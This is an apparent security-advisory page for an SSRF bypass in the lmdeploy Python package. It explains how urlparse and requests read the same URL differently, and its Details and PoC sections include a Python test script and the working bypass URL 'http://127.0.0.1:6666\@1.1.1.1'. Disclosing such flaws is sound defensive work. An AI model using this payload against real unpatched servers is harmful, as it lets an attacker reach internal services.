Skip to content
GitHub advisory IDGHSA-39wr-7q6h-cf68

LMDeploy has an SSRF bypass

GHSA-39wr-7q6h-cf68 is a high-severity vulnerability with a CVSS 3.1 base score of 7.5, classed as Interpretation Conflict (CWE-436), in lmdeploy (PyPI). Affected versions: >= 0.12.3, < 0.15.0. It is fixed in 0.15.0.

High7.5Fix availableGitHub reviewed

Published 18 Sept 2026Updated 18 Sept 2026

7.5HighCVSS 3.1
CVE ID
No CVE assigned
EPSS
Not scored
Weaknesses (CWE)
  • CWE-436Interpretation Conflict
  • CWE-918Server-Side Request Forgery (SSRF)
KEV status
Not in KEV
Published
18 Sept 2026
Updated
18 Sept 2026
Ecosystem
  • PyPI

Summary

Source: OSV (GitHub advisory)

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Technical details

Source: GitHub Advisory Database

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

High7.5Base score from GitHub Advisory Database

Attack Vector AV
Network
Attack Complexity AC
Low
Privileges Required PR
None
User Interaction UI
None
Scope S
Unchanged
Confidentiality C
High
Integrity I
None
Availability A
None

Affected packages

Source: OSV (GitHub advisory)

  • lmdeploy
    PyPI
    pkg:pypi/lmdeploy
    Affected versions
    >= 0.12.3, < 0.15.0
    Fixed in
    0.15.0
    Show 3 listed versions
    • 0.12.3
    • 0.13.0
    • 0.14.0

Fix

Source: OSV (GitHub advisory)

Fix available

Upgrade to 0.15.0 or later.

Vulnerability intelligence

References

Credits

Questions about GHSA-39wr-7q6h-cf68

Does GHSA-39wr-7q6h-cf68 have a CVE ID?
No CVE ID has been assigned to GHSA-39wr-7q6h-cf68 yet. It is tracked only as a GitHub advisory.
What is the CVSS score of GHSA-39wr-7q6h-cf68?
GHSA-39wr-7q6h-cf68 has a CVSS 3.1 base score of 7.5 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
Which versions are affected by GHSA-39wr-7q6h-cf68?
lmdeploy (PyPI): >= 0.12.3, < 0.15.0.
How do I fix GHSA-39wr-7q6h-cf68?
Upgrade to 0.15.0 or later.
What is the Package URL (PURL) for GHSA-39wr-7q6h-cf68?
The affected package's PURL is pkg:pypi/lmdeploy.

Data sources

Upstream records

Fetched 4 days ago (9 Oct 2026, 18:09 UTC). Records refresh automatically after 24 hours.

Where each part of this page came from

Title and description
OSV (GitHub advisory)
Severity score
GitHub Advisory Database
Weakness (CWE)
GitHub Advisory Database
Affected packages
OSV (GitHub advisory)
Fix
OSV (GitHub advisory)
References
Computed by CVEminer

OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.